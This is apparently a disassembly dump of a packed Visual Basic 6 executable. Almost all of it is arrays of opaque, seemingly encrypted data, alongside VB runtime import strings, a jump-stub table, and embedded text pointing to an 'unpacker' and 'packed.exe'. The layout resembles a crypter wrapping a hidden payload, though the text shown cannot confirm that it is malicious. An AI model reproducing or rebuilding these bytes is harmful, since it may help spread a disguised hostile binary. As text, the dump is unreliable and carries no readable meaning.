18FB1A16h, 249B708Dh, 20119808h dd 0A58h, 47EA35B0h, 9FA2FF7Bh, 0D87FC223h, 12358AE6h dd 51F04BACh, 0BB3C8807h, 81E1C160h, 46A51D3Ch, 0A6A54FBh dd 0A0B892B5h, 5966A0Dh, 1AEDCFA0h, 7D2E294Dh, 0AD41C49Ch dd 0CF315F3Ch, 2E46126Fh, 0D595F093h, 902D45ABh, 0A00567E7h dd 0EE89244Ch, 33A00567h, 48E57350h, 0A00567AFh, 0A6B29774h dd 0E48BD858h, 0CA459A1Ah, 97EC4CB2h, 240C51AFh, 8BA5DE06h dd 0ED7E9976h, 0BBD5B6A5h, 50ED8E23h, 51329A1Dh, 50D1AAC7h dd 75569A1Dh, 0BB3D839Bh, 1FB2CA66h, 9A1D505Ch, 1F3F46BEh dd 5C3CD661h, 0DB26877Fh, 80A18F5Ch, 0D4278668h, 6DB232FCh dd 6644A22h, 79029FB9h, 0BE9A1D87h, 0D51F3DDh, 8B47DA76h dd 42A0059Eh, 87E9D761h, 33FD173Ah, 0EE8924B2h, 33943570h dd 0DBA57350h, 0F68D0459h, 94357101h, 0D9AAF966h, 85E3AAF9h dd 49A556EBh, 0A98A9435h, 4239BDCFh, 60AC9B36h, 3A199A1Dh dd 8F50D01Eh, 0BB13EC10h, 9ABD829Dh, 307FC424h, 106C0A52h dd 912C44B3h, 8E4D8FE6h, 0A68B684Bh, 0A694778Ah, 0DAB99435h dd 0ECA7CF5Fh, 7CB32944h, 6D4E8E47h, 0F370C73Eh, 0E35CDD93h dd 918h, 72A75F0h, 5FE23FBBh, 98BF0263h, 0D275CA26h, 11308BECh dd 0FB7CC847h, 0C12181A0h, 86E5DD7Ch, 4AAA143Bh, 60F852F5h dd 5952ACDh, 5A2D0FA0h, 26328F11h, 0D27C5BD8h, 0E6FC17CBh dd 2E8C765Bh, 0AB85A6D1h, 97EC4C72h, 69B437F9h, 403B562Eh dd 0E5A5ED86h, 5D202106h, 6C5104DEh, 45CD442Ch, 378AEBD5h dd 540DEBF8h, 0A30365B0h, 0ADBEF944h, 1519A9C8h, 0BE89CAC3h dd 7, 4CC6001h, 9A570000h, 73086CD7h, 98354DE5h, 0A5EDB3DFh dd 0F4896744h, 0ABCFBE48h, 91C8063h, 73177AC0h, 0FE7D1B43h dd 1FB2DEA3h, 0D2E1EDF9h, 7E79942Ch, 0A3C71DC0h, 3B18E8C0h dd 4D46AEFCh, 3B4A8E23h, 0B695CD03h, 8FD4549Ah, 499616E8h dd 3E9EB5D2h, 3D728755h, 840h, 6FF24DA8h, 0A7CA1793h, 0E087DA5Bh dd 3A5DA21Eh, 791863C4h, 0D354E01Fh, 9919E988h, 5EDD2544h dd 22827C03h, 0B8D0BADDh, 5945225h, 2F5D7A0h, 0E9922F47h dd 31A5EDB3h, 5C097D6Ah, 12F1D704h, 0E0F87846h, 0ECE6AA4Dh dd 0CFAC8FA5h, 0A2FD7E40h, 9CF77F9Fh, 0FD7C59F4h, 8665ABD4h dd 0A73A52EAh dd 0A004CFD4h, 0D09E7A59h, 926CF350h, 2042CD12h, 86718CBCh dd 0ABA004CFh, 354DEBC8h, 0CF77009Dh, 0DFBCA004h, 0E6AF5CF1h dd 4CE4A5ECh, 1CB84631h, 2008EB9Ah, 0EBD56340h, 0D21C3489h dd 0BD8E0956h, 0EC4CB2D3h, 0D5561897h, 2C00138Ah, 0ADCC7C5Ah dd 78BF4h, 0BF027F00h, 77CC2698h, 4C8FEED0h, 0A57D52Dh dd 0C5189B67h, 0E155CAA2h, 0A21C237Eh, 6658FF44h, 2F93B609h dd 85D170CDh, 93A750EDh, 0AE8CA005h, 0F97947DDh, 36BECCA4h dd 559B335Dh, 8FA28ED3h, 0ABD5CB00h, 0BA07635Dh, 36DB77A9h dd 6D32D727h, 267BFDC3h, 0E03DBF03h, 0FA91D5A9h, 672DC35Eh dd 16E8A5E7h, 80DD5B99h, 0D8573409h, 0AEF7260Bh, 767C53ABh dd 7124E03h, 7BF60000h, 45A10120h, 86959F8h, 0D02C92B5h dd 9112EC73h, 0CE412B4Eh, 83A6F97Ah, 0DF62BF3Fh, 163984E3h dd 54FB48A8h, 2CCF62FEh, 0F1A00593h, 18475813h, 39301EF1h dd 422B34B8h, 840C0175h, 55D79977h, 3FA18108h, 7F2BB7E2h dd 0A5EC31B1h, 0EC91DF80h, 8BA6AA10h, 510B4ADh, 913B5EA3h dd 58CD12Fh, 0E6264820h, 8F89CAFBh, 7, 2D46050h, 11570000h dd 0ADC7328Fh, 0B49CE143h, 1B354E96h, 25D66B83h, 0AA5EDB4h dd 0B32CCF62h, 12F1A5EDh, 41CE634Dh, 1EABD5CBh, 987DC220h dd 5AA709F9h, 4D9013DFh, 2F64882Ah, 0B1FEEC01h, 3E1DA5EDh dd 0C4FAC12h, 42A20C24h, 4645AFDh, 0D32F91BFh, 116BA28Eh dd 41D040CEh, 9A76738Bh, 600853D4h, 368EEBFFh, 3F19233Ch dd 4B40A4C6h, 1F62C32Dh, 4DE5B390h, 0FF4D1830h, 0B10DF39Fh dd 2800256Ch, 5207B58h, 0AB823BF9h, 612114Eh, 7BF60000h dd 45A10120h, 86959F8h, 0D02C92B5h, 9112EC73h, 0CE412B4Eh dd 83A6F97Ah, 0DF62BF3Fh, 163984E3h, 54FB48A8h, 2CCF62FEh dd 0F1A00592h, 8F115813h, 5ED82632h, 0DBB59601h, 0C71C9CA2h dd 9BE647A9h, 0FC7A44BDh, 0E64668A7h, 0CD041E99h, 0C8A1E137h dd 3F7FE134h, 0FF997EC3h, 0B331CA67h, 15F6A5EDh, 98942A3Bh dd 589CB11h, 0BBA750EDh, 0AF8CA5EDh, 8F0A57D7h, 786D2BEh dd 49000000h, 15360h, 8F115700h, 31D6DB32h, 3767089h, 57F4Eh dd 0B30E6B00h, 8BD852ACh, 409B1AE4h, 1E63C121h, 0D924877Bh dd 15A1DEB6h, 0D6284F92h, 9A640B58h, 43BFC21Dh, 91FD9CE1h dd 919364F9h, 0BA98A005h, 328F11C1h, 2479FBC7h, 701465EDh dd 35C65BF3h, 85A5EDB3h, 0B72679DFh, 0DDBE824Dh, 56AB0DF3h dd 7D7F8F33h, 1C2089CAh, 0B7000000h, 0E9922F47h, 4EA5EDB3h dd 0C914956Dh, 0DC937D4Eh, 0D4h, 0CE6013h, 47570000h, 5F4C5218h dd 3018153Dh, 0A7B1CA12h, 0F845A10Fh, 9B7A5867h, 7D5B1304h dd 0D4F32BE0h, 0CC4B28ABh, 335D36BEh, 0E6D3669Eh, 0EF4E91A5h dd 0DAA7B615h, 2506E6B2h, 5451CBF6h, 6F20497Ch, 4C8h, 0D77AC520h dd 2F328FEBh, 680F52D3h, 0A2C51A96h, 0E180DB5Ch, 4BAC1897h dd 119151F0h, 0D655ADCCh, 9A1AE48Bh, 30482245h, 590DA9Dh dd 8A7D5FA0h, 0ABF67947h, 5C37BFCDh, 1370CA34h, 25902D45h dd 0C6ABD000h, 676813AEh, 0EECDA00Bh, 460E1F75h, 0C3ADFBD0h dd 0D06800E3h, 0F15225B8h, 88D7A00Ah, 2356DF4Bh, 3F19FE66h dd 83ADF071h, 8062BF3Dh, 53F2DE21h, 0ABF383Ch, 267BFDA0h dd 0E33EBF03h, 0B60B6B55h, 3DEEA3DAh, 0C5000004h, 0C652294Dh dd 47A816AEh, 0B39E59F4h, 0B9FCA5EDh, 696CE856h, 324FE7C9h dd 0A5ECE349h, 40280DEEh, 0D4FB5E2Dh, 9118FBABh, 612698Dh dd 0E6DC99EBh, 52D2ACA5h, 0D0FD280Dh, 587C5429h, 3FA60D1h dd 93EE0000h, 5DD92948h, 20816100h, 0E844BADDh, 0A90AF49Bh dd 26593356h, 0ABCE1192h, 0E78AD757h, 3E419C1Bh, 7C0360C0h dd 14E77A16h, 19A00591h, 294D403Bh, 0E8ABC652h, 7DABD5CBh dd 0AB0CF29Eh, 2C04D950h, 0F54AAA14h, 0C419955Bh, 0DE7784Dh dd 0BC5954D6h, 0C53D4C24h, 8C721E63h, 2845D330h, 0A005B14Fh dd 0E019F7D4h, 17215A82h, 0EDC8A8FAh, 54FCDFA5h, 0D9B70C6Ah dd 60A62941h, 0C25E2100h, 47A99761h, 96B57FAh, 0D4529CB4h dd 43CE1192h, 2C129D62h, 80A88DD2h, 1DAB8A6Dh, 0E4CCAF9Ah dd 0B595D9ADh, 1DAB5F18h, 360DA9Ah, 0F2D1B794h, 92EE032Dh dd 0AD9FFFC6h, 53785FCEh, 0ADCC823Bh, 337F4h, 0B56D300h dd 0C3209A64h, 98E342BCh, 56AB09F9h, 116CCF33h, 5DE9260Eh dd 1EE087DAh, 0C23C43A0h, 8B771A65h, 0D9B5D429h, 8F4B2C41h dd 0F2D0A005h, 0FA794739h, 15CDFA7h, 0D1E74937h, 0EDB3BBBCh dd 145F1FA5h, 908AAD42h, 2E71CEB0h, 18FDC2E3h, 0F24FD191h dd 0ECA7CF6Fh, 0A5FA7A44h, 21EB3CBh, 7DABCF61h, 0D679139Eh dd 0E4A97508h, 5CF1DF5Ah, 0A00B1397h, 6CD732Eh, 83E87106h dd 3AAFh, 18473000h, 0C8600741h, 0F98B65F3h, 0DF721E75h dd 0ABCF021Dh, 0BB086648h, 0A1816F7Ch, 3B3857C2h, 42A00AD1h dd 0AAE27117h, 7783E833h, 0DDB942DFh, 9D7EA00Ah, 0E1A7B3h dd 11280000h, 0FBC7328Fh, 0C4EA2578h, 8F711F64h, 85A6D12Ch dd 0EC4C72ABh, 0B837F997h, 53652A65h, 438092CAh, 7110F8DDh dd 0ED2FE7E2h, 116ECEA5h, 1B79E60Eh, 9ED24ADDh, 7DFFC1AFh dd 9525D66Bh, 290AA5EDh, 63C22C44h, 0AFF93018h, 0BED3E541h dd 0A5ED94BDh, 75BC8162h, 94F5861Bh, 593AA5EDh, 668E9C74h dd 5EB032Dh, 8DD54A9h, 0B23B0D20h, 0BD9EABCFh, 0E3F4789Ah dd 8E637020h, 44ECB1E7h, 0F031AB29h, 3B5536A5h, 82F72F5h dd 0B3EA35B6h, 7C501AA6h, 0E5CE83F6h, 5000001h, 0CC3255A8h dd 0B40A2D72h, 7B47EA35h, 2181A0FDh, 74DC63BEh, 0D12C8F3Bh dd 0ADF2704Eh, 64B7348Ah, 267BFDC5h, 821F2B03h, 0A0058DF9h dd 116B5C3Eh, 0DB25338Eh, 45364B5Dh, 0EAA5EDB3h, 0D8ED2409h dd 0F9151F0h, 4D5AAFB2h, 0AEC65229h, 0B49CDF40h, 0CFCBDF99h dd 4C50AABh, 35BD83C4h, 0FBD8A880h, 2712E1BCh, 0FCB5A00Bh dd 88818D48h, 0C42283E8h, 0B5000000h, 0C7328F11h, 0EA2578FBh dd 6DCB2C92h, 1EFCC11h, 0EDB8596Ch, 0A7FC7CA5h, 74C92789h dd 2140283Dh, 9E1F5FC1h, 59337E43h, 0AECBACC1h, 7350A5EDh dd 245F87A5h, 0FF44A20Ch, 0EE318EB0h, 0D3BD82A3h, 0CC2626BBh dd 0CAA9ABCFh, 0A4DF07A7h, 1ED9748Ch, 3A00B91h, 9D304820h dd 0A5F040D8h, 0E8D66241h, 0FB153487h, 0E02DCE63h, 11F29A26h dd 0ABF67947h, 50047170h, 57ABF7Ch, 0F4h, 23469914h, 7B1E63DFh dd 0B4DB2687h, 8E91EE4Ah, 0CD6CAF30h, 17982C63h, 0DD5DA5C4h dd 0A201E180h, 66C6385Fh, 41C7619h, 58D0EE9h, 463113A0h dd 0CF4F8E11h, 0D0DD237h, 9B65F3D0h, 7556C11Ch, 0B4348A9Bh dd 11FFC86Fh, 0D826328Fh, 0EB5B0457h, 7CBBEFFh, 0F9930AE6h dd 0D32CD256h, 27F1C72Eh, 0EE8AD759h, 725EA100h, 502BB3D3h dd 277CF638h, 57993149h, 3AB688D5h, 0BF99AAE5h, 0D597F9A2h dd 129D7EABh, 0E437B47Ah, 7DC2220Ch, 3F84E4DAh, 0A4809DF0h dd 0F742C28Fh, 5662C251h, 7B2B403Bh, 2106E57Dh, 0E340A01Eh dd 9A2E8AB4h, 7B2B7407h, 0F5DAB97Dh, 0D369E0BAh, 0F583E040h dd 2B37C05Dh, 62837D7Bh, 9908A107h, 9A76553Bh, 68B5378Bh dd 1E7021h, 47470000h, 0B3E9922Fh, 6D4EA5EDh, 3AA5B583h dd 0C3551814h, 5FF29E06h, 0A5ECBE9Ch, 0E1D6A281h, 0CE499411h dd 0F42380E0h, 0E7126DCAh, 8B065BDBh, 0BEF944A7h, 0A5EC2FB0h dd 57C21F9Dh, 78B70A6Bh dd 68A7FC76h, 1A1D685Ch, 14890000h, 0DAC6824h, 14890000h dd 0E0895024h, 405h, 4E88300h, 5C240487h, 68243C89h, 5E818C3h dd 8324148Bh, 8B5404C4h, 0C483243Ch, 4EC8104h, 89000000h dd 478F2414h, 2434FF08h, 4C4835Fh, 5124148Bh, 0C181E189h dd 4, 8704C183h, 0E95C240Ch, 0FFFB2550h, 0EC3E708h, 281EB85Eh dd 0C50305E8h, 5BC6E0FFh, 1CA7D3Fh, 6D3A7E9Bh, 19BE5CB9h dd 8BB0FD9h, 8A006DC1h, 8EB77DF1h, 22DC0874h, 0B3FE2119h dd 2F5C477Fh, 884543AEh, 0E8003BF2h, 0E8D17EADh, 0E7EB69F0h dd 7A6001BFh, 0C39A30A2h, 0C007565Eh, 947A295Ah, 0C7A07104h dd 233A6A5Eh, 7BDC093Ah, 1E534113h, 3466426Eh, 872C4505h dd 0DEE333DEh, 8C8E1445h, 0CFEC2780h, 80FD355Dh, 28387529h dd 0CD2C7508h, 0F0CD11B8h, 5CE90502h, 0C5000001h, 4377E705h dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh dd 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 25h dd 0E924E782h, 1C2Eh, 0E82C5F68h, 559DE905h, 9368FFFAh dd 0E905E82Dh, 0FFFA5593h, 0E82EA368h, 5589E905h, 6068FFFAh dd 0E905E82Fh, 0FFFA557Fh, 0E82FB968h, 5575E905h, 9368FFFAh dd 0E905E830h, 0FFFA556Bh, 0E830EE68h, 5561E905h, 3D68FFFAh dd 0E905E831h, 0FFFA5557h, 0E837AB68h, 554DE905h, 4668FFFAh dd 0E905E838h, 0FFFA5543h, 0E8390B68h, 5539E905h, 2C68FFFAh dd 0E905E83Ah, 0FFFA552Fh, 0E83A8168h, 5525E905h, 4068FFFAh dd 0E905E83Bh, 0FFFA551Bh, 0E83BFE68h, 5511E905h, 9768FFFAh dd 0E905E83Ch, 0FFFA5507h, 0E8433B68h, 54FDE905h, 5F68FFFAh dd 0E905E844h, 0FFFA54F3h, 0E844FD68h, 54E9E905h, 9345FFFAh dd 3EB68B17h, 0EDED5C7Ah, 914425A1h, 41BA8F0Bh, 39D85773h dd 0AD297764h, 0B971DDCh, 0D2F8C436h, 0A62C6A6Fh, 71E247BEh dd 0A0F9F092h, 2FAE39FDh, 18B9C98Ah, 9A2318FCh, 16422D7h dd 0EC9319DEh, 18632FADh, 5B1C0AD3h, 0CA6F1236h, 1FAD8ECh dd 0E03CAB3Ch, 2358B8C3h, 30370C9Ah, 0EFF280A7h, 2384EC1Bh dd 4E023F18h, 0D711F9FAh, 675A8DFh, 35DA3FE7h, 0EC000000h dd 0D0577B18h, 0FAD1C777h, 0DA211E01h, 0E570CE5Bh, 16E275CBh dd 0B8D76CB5h, 0F4E5F9FAh, 0ECEC57B6h, 8F2945A0h, 0B93F41B7h dd 14875ACDh, 0E8243FE6h, 1E000000h, 0D823696Eh, 0CF5E6499h dd 36555384h, 0DD4C4A8Fh, 0B97CFD5Ah, 8B4EFC18h, 99221905h dd 74EB7C8Dh, 1BE38B13h, 51DA2384h, 2BFC18BAh, 3679E8AEh dd 3EECFDC3h, 0AEAF088Bh, 67FC18B5h, 47B0BF08h, 40CD3A41h dd 0C25CFD6Ch, 6D01FAE6h, 0A8501316h, 14C7C3E4h, 83245B0Fh dd 41F51E4h, 7C3F2219h, 1495317Fh, 8A2FA155h, 0F7DE49C9h dd 97F62318h, 21DA8526h, 0CE5D6199h, 272B508Dh, 30FE7DBFh dd 196B0A55h, 0C7310000h, 7262C7C3h, 21D9A836h, 0C530719Dh dd 7566DBC7h, 6D14A32Fh, 0F9E5AB50h, 47435188h, 2EB4F8E2h dd 0F2189E5Bh, 2516B3F2h, 0FCF9F095h, 2FAE75B1h, 18B9C98Ah dd 9A2318FCh, 729826D7h, 6AEB4CCFh, 60FC18B9h, 5E153177h dd 9715C28Dh, 0B3880790h, 9974A6A7h, 64275A40h, 3F82F75h dd 185E2CBDh, 1D995D7Bh, 11104D8Eh, 0FAD186C8h, 7FE25901h dd 0A11A5BFCh, 7CCBF9FAh, 0CA67C06Bh, 0D9F9FAA1h, 0AD60A79Fh dd 23FE62Bh, 0F3h, 571BDC9Fh, 0FAAD41F2h, 6EDB90F9h, 39AE695Dh dd 12C69965h, 5B9EC143h, 0CCD7455h, 9F0E9B8Eh, 46379C13h dd 0C140EBFCh, 8A53599Eh, 7D8816C7h, 1816EB14h, 0B2F8E1FCh dd 0D5611A8Fh, 0EB65586h, 5F98E9BDh, 72672659h, 3F889334h dd 0AE0B3E12h, 1FAD174h, 8CCD6A9Fh, 45F9FAD4h, 9415B1EEh dd 456624D5h, 5CC3E76Ch, 7CFD5ADDh, 95F9FAD4h, 96A40DDEh dd 9041F04h, 0F9A0F32h, 0A9A75415h, 65246B7Ch, 0DDAC2A78h dd 7EFF5820h, 97F7DF33h, 3384B512h, 0E65DF7DFh, 7D377CA9h dd 0EFE7D25h, 1837187Bh, 0FBFD0000h, 0A62E13BFh, 5585E4E2h dd 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh, 35D1DF1Ch, 933F8574h dd 7A602CAEh, 0CED4D207h, 195AFF06h, 0C8F9F094h, 39AE8145h dd 29BBA9E8h, 682CA8CBh, 0AAAB0C33h, 7BFC189Fh, 47B4BB0Ch dd 0EBEC5D79h, 6E3B21ADh, 99D82369h, 0BBBC5A60h, 2A8FB296h dd 1FAEC24h, 2C7590EFh, 0F9FA8A17h, 97420504h, 679F209h dd 75FDCED2h, 42B2F581h, 15B62746h, 0E642BC11h, 0CD133Fh dd 0ADEC0000h, 226E6A2Eh, 0C62592DBh, 0AE763495h, 30A8E8EFh dd 67DC196Ch, 0F750D704h, 0FC18B946h, 3907A09Fh, 0FAFEA147h dd 0EEEC57B6h, 0B4E475A2h, 41CBBB96h, 0DD423B8Ch, 0A5D176E9h dd 0FC01FA5Ch, 3BE64187h, 0FFD551C8h, 6ECB7E52h, 0DB879F70h dd 6059AC9Bh, 0D958CFE3h, 80595F96h, 0A154EB27h, 323502E1h dd 582516B3h, 87FC1A5Ch, 3FB8FB26h, 582516B3h, 8DFC1A5Ch dd 0BC394C4Ah, 0BD8C0A47h, 75317E3Ch, 0C623FFCEh, 1727C0A3h dd 0BCD0000h, 0B63E038Fh, 6595D4F2h, 9CCBD59h, 0B9220783h dd 0B150EFEBh, 25A1EFECh, 830F9544h, 6A703CBEh, 3EA4E217h dd 0E96ACF36h, 38F9F097h, 696EB175h, 62EFD823h, 0F07EDB4Eh dd 1B01FAECh, 0AEB8A62Ch, 19A2E8EFh, 4094537h, 4447DBFCh dd 0A411C366h, 9D9604A5h, 78C901FAh, 68ED387Ch, 0DB6ACD33h dd 6786A3DCh, 9C18DCFAh, 9097CC09h, 0F1AC9B37h, 0A6C5B28Ch dd 61E0C449h, 13494AD8h, 9396ED93h, 2DAE9110h, 4C95C667h dd 0FD4C64CAh, 6445B200h, 8BBEFCFDh, 2BD0301Eh, 0EF487329h dd 64CA396Eh, 4A93C8A7h, 72ECED5Ch, 0D1884183h, 3471AE15h dd 71729274h, 6AB392F7h, 0E000016h, 63C6CCC8h, 0D6AB3773h dd 31709E22h, 67DAC0C6h, 15A22876h, 0E6AC516Eh, 4C5289F8h dd 0B5F9E346h, 199F5829h, 17B0F1FDh, 0F9F09626h, 0AE74B6FFh dd 187BEBEFh, 0DEB80F00h, 5E9FEE5Bh, 9D15C28Dh, 82CB5260h dd 0D49D7389h, 4DBA86EDh, 44558A20h, 0E948DD0Ah, 1611h dd 796521D7h, 0C2C8CC08h, 0AB377B7Fh, 7D991FD6h, 0C5C1CF0Ch dd 5F6C7AEh, 0AB2E13BFh, 5288F9E5h, 0F8E1404Eh, 0D92814B2h dd 0F096FF70h, 0AF6F16F9h, 0D823696Eh, 0DDE31659h, 3A2E330Ch dd 0C948A207h, 0C6BB01FAh, 4A568214h, 3E4DBA33h, 865A40BDh dd 3ABAFD03h, 0ED6ECB7Eh, 24F9FAA8h, 98857E4Fh, 7332B5B4h dd 58A13A88h, 418D2D2h, 4BCA3E75h, 0A2EE6FC8h, 4827F7DCh dd 5EC7E1CFh, 0E7C02C3Fh, 5B4139Eh, 260A1793h, 0B1488623h dd 0B9F8A997h, 0AE2F7E44h, 6BB2891Dh, 4F00A928h, 8652572Ch dd 3A2710A9h, 58B61316h, 0E8AFB1A6h, 1A632A9h, 482DA950h dd 0A7DAA81h, 3FBCCFCDh, 1C0378AEh, 0F5109E5Dh, 79386740h dd 0AD9C3A80h, 0A3016E2Ch, 0E8560F9Fh, 1537B29Dh, 0FBFD0000h dd 0A62E13BFh, 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh dd 35D1DF1Ch, 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h dd 0C8F9F089h, 0C7888145h, 23FC18B9h, 0FC18C90Eh, 18D9A5DAh dd 99FC71FCh, 9CEFC18h, 19484E89h, 84DD8DEh, 8FF056D3h dd 16730A44h, 14DC4Fh, 52568000h, 8501F5B4h, 0ECB02819h dd 565483E6h, 0BE04F948h, 0A3FC9B10h, 1B6E743Ah, 7534D2E0h dd 0AA9F3B87h, 63636F2Dh, 89B4A502h, 206DF9F0h, 5D7B18FAh dd 0A4DB109Eh, 14B5F1E5h, 0DFFE4CEDh, 5A1101FAh, 628A63DDh dd 2A751004h, 148Dh, 0E5E1A553h, 4E545084h, 17B3FFFBh dd 0F9E5A352h, 414D5388h, 89724B2Ah, 2FAA9F3Bh, 0D6046561h dd 7C7DCCCAh, 55AC903Eh, 0F08843F4h, 2B9392F9h, 0D823696Eh dd 3DFC059h, 0BFE3F450h, 0F0B6232Eh, 43020395h, 8BB3149Ah dd 1C9974BBh, 23363A04h, 8000000h, 18B9FB88h, 8A10C9FCh dd 2E84DB0Ch, 0BDA4FC74h, 0EB5BB6CFh, 0C988BFF4h, 103B8C12h dd 141831h, 696E7500h, 62EFD823h, 0D958DB4Eh, 0B940F156h dd 0DA91FC18h, 18B9D081h, 47E001FCh, 0FC18B916h, 0A23B70CFh dd 0FAD7C159h, 0D8016001h, 4D70F20Eh, 0E825E8BEh, 3F2417B3h dd 0B0F778C1h, 512EF9FAh, 0A3E265E4h, 0A6177634h, 0B312BC05h dd 86FD0418h, 7AFCFC67h, 0DCB29CDDh, 0A422B5F7h, 896BD719h dd 7492CF04h, 0DCE15FD3h, 2D696DF7h, 388100A1h, 0F7DCE137h dd 94891EEh, 0B5A603CDh, 0B7F7DCE1h, 0AB207B3Fh, 9BD0AFh dd 85B18801h, 0F9F53292h, 3B7561E0h, 28ADF8BEh, 171AA8F3h dd 0CE1FA554h, 9242B084h, 4F828816h, 0FE45C911h, 14773BBFh dd 929906A7h dd 0AD000001h, 0EC4639AEh, 4946D2D9h, 0B69A8770h, 372C16B3h dd 54E701FAh, 0E25C2DF3h, 612DAFE2h, 2F64D11Ah, 256195DCh dd 880CC8B9h, 0D91F147Dh, 244F9FBh, 9410C432h, 41B8FB0Eh dd 1AA32873h, 19083C21h, 19F746B0h, 6F3B204h, 0D7F06580h dd 3EA1C4B3h, 96EBF7BDh, 63CC5F65h, 0F7DD86CCh, 55E1D593h dd 0F2C28C4h, 922BAE48h, 6E6A2EAFh, 2592DB22h, 208908B9h dd 0F7DDFA2Fh, 313089E6h, 3BBAC1C5h, 16ACFFBBh, 6292E0D4h dd 1FF2B826h, 8E45C956h, 0EC4D0BCFh, 0F7DDF66Bh, 3790CDBAh dd 37CAh, 0EFAEFC00h, 5B06A7EBh, 86891CA2h, 11543E11h dd 0CF188B93h, 36555B80h, 0FC4A3ABCh, 9415B1FFh, 0B0DED103h dd 0B13A4147h, 0B755FC98h, 0B0BD1016h, 0BA123A04h, 54000000h dd 0D0577B18h, 0C6F3851h, 82B3BD30h, 0F262D039h, 0BEF501FAh dd 0ECB3246Fh, 0CF99A3ABh, 3EB6B902h, 0E9ED5C7Ah, 0FFFBBAADh dd 0DAE368B3h, 0C0C430B3h, 0D7AF09A5h, 0A32F6B6Bh, 0E67728E5h dd 71873Fh, 41000000h, 0DCDA1F99h, 0F6D70C49h, 567A1830h dd 0B91576D3h, 0F74CFC18h, 0BAB6CB94h, 5684FC18h, 44B0334Ah dd 9ED82540h, 0CE8852A6h, 0CD0948F6h, 1B07F0C9h, 8A733235h dd 0F9A91304h, 91FAB2AEh, 3F60C948h, 4DFC184Fh, 13C7CB0Ah dd 1D89528Fh, 98E3A92Ch, 49F8E653h, 0E4DD73D0h, 877346CEh dd 3E6BE03Bh, 22ADAE0Bh, 0F64FC18h, 753BEh, 8E6B0000h dd 3Ch, 266A6EB4h, 5C589CC7h, 8703F3B6h, 7A7A3D64h, 676014E2h dd 7BB0FEFFh, 5912AB20h, 0AF881331h, 0FC189D95h, 0C2704482h dd 9D75E643h, 0D7ACFC18h, 379D70F6h, 4D323A04h, 3400000Ch dd 238E7E18h, 755610D9h, 30196CD9h, 85C38188h, 0D7635395h dd 8F80AC42h, 0BDC4E33h, 0AFE4A27Fh, 4909C3h, 7860000h dd 320B9144h, 75B36401h, 0CD153DDh, 7BE7D484h, 18CFBB0Ch dd 1CA0587Eh, 10174C89h, 18B986B7h, 85E05FFCh, 8C87D9BCh dd 0BC88CEA5h, 77E19875h, 28637E3h, 27B00000h, 0A655DC16h dd 0C8ACA15Eh, 9999F64Fh, 18AF9B2Ch, 8294527Eh, 23696EB8h dd 55556F87h, 3D040788h, 895554C5h, 72CFF1FEh, 542469h dd 181E0000h, 0AE94527Eh, 47A6ECEFh, 0ED4AB516h, 0FC18B951h dd 9B4236A3h, 72EF95CDh, 8C4C3D69h, 3B70E500h, 0E7EFAEBFh dd 1E6D31A9h, 0D84760DDh, 0DADE1659h, 6A6E2501h, 0F1709826h dd 0B968E94Eh, 7962FC18h, 0C7502F2Bh, 8E0C111Fh, 6A50691Fh dd 548Eh, 7E18B400h, 0B1BA2F52h, 7885F6BBh, 0AEB98D5Eh dd 18B97509h, 0F31287FCh, 43498E61h, 2C9AB338h, 0B1DAE3B8h dd 5CC3C90Eh, 18C27AFBh, 67DCABFCh, 0AE94AE5Bh, 0B9C98A2Fh dd 0E918FC18h, 18B90F40h, 3C69C6FCh, 0B434A4ABh, 0AE2D5A94h dd 56C077E0h, 70982693h, 123D884Ah, 528B895Bh, 0F6E3464Ch dd 23629DB0h, 0BFFDFAB6h, 6BB2EF6Ch, 7C3ABFE2h, 541BAC29h dd 0DA4A19A7h, 9D5AA89Ch, 68A5E115h, 0BA00F938h, 50F978ABh dd 715AE01Fh, 2516B336h, 0FC715AE0h, 0AF714A87h, 9E24D79Dh dd 628E120Fh, 0A44937C1h, 0D2297565h, 0DA1E1650h, 32807432h dd 4081C7C5h, 0FD7EDB97h, 14715A53h, 1053E25Fh, 533549EBh dd 67DC715Ah, 221254CCh, 236523D4h, 50ABF9E2h, 930ECF70h dd 4DC2706h, 0B9D26325h, 564BF1D8h, 0AEA83168h, 2D7368D6h dd 9117C0A1h, 0B85A83C2h, 715A328Ah, 0E03F166Dh, 0B7208E66h dd 32DD9E3Bh, 3574715Ah, 578CF9C5h, 0AA511011h, 32C8892Eh dd 2219715Ah, 4AEF96F5h, 715A3209h, 953663D8h, 0D46F2DAAh dd 0E25C370Ch, 0BF33A412h, 5A32591Ah, 3B6F8871h, 58963846h dd 61A71C49h, 97D861E0h, 4E715A60h, 7069E8F1h, 0B3281B2Ah dd 682E56EDh, 0E3A92E9Ch, 0FAFDBCBDh, 0F2E669BCh, 0ECD871AEh dd 608A7BA8h, 6E8E7C4Dh, 82872369h, 8A7A18B8h, 33516EEEh dd 0A495323Dh, 7DFC185Dh, 569CC906h, 28AFEE6Fh, 9D21B62h dd 788553Dh, 3AC73D04h, 0FB000000h, 0D3567A18h, 84256B90h dd 0AC2FAEA6h, 87A0EEEDh, 0FC18B9D6h, 4E97300Fh, 0FC18B930h dd 0AE466CDBh, 2D6B6C2Fh, 7E4C9DDEh, 0A6ECEFAEh, 1E9A5A05h dd 8E4A70D0h, 28h, 567A18B4h, 7509AE68h, 61FC18B9h, 2FAECEF4h dd 0B94A0BACh, 0AC9BFC18h, 0B95B1CBDh, 0BD8AFC18h, 666E5E2Ch dd 4A708422h, 18C77D88h, 1DFE41FCh, 4FFFFFDh, 18B9FB88h dd 0B997BFFCh, 2AAC2C1Dh, 18B9CC8Dh, 0F12E05FCh, 0B98CCDAAh dd 7FF9FC18h, 0F3BF3B87h, 266292D7h, 0BD93BFB8h, 0C99016Eh dd 0B4323E6Fh, 629449C0h, 76397C5Ah, 7DA23B81h, 225h, 0B9FA8841h dd 93B0FC18h, 84541B5h, 0D2D2B019h, 4E2501FAh, 5F5D98DBh dd 683E8FCCh, 4EDDE119h, 54CBCF07h, 42D9E515h, 1CF233D5h dd 0CB002D83h, 0ECE86BF2h, 0FF645DA8h, 92D554CBh, 3D862765h dd 4186609h, 0DC6E8BE0h, 0AFFE7FE2h, 0E1F7BDAh, 13C50000h dd 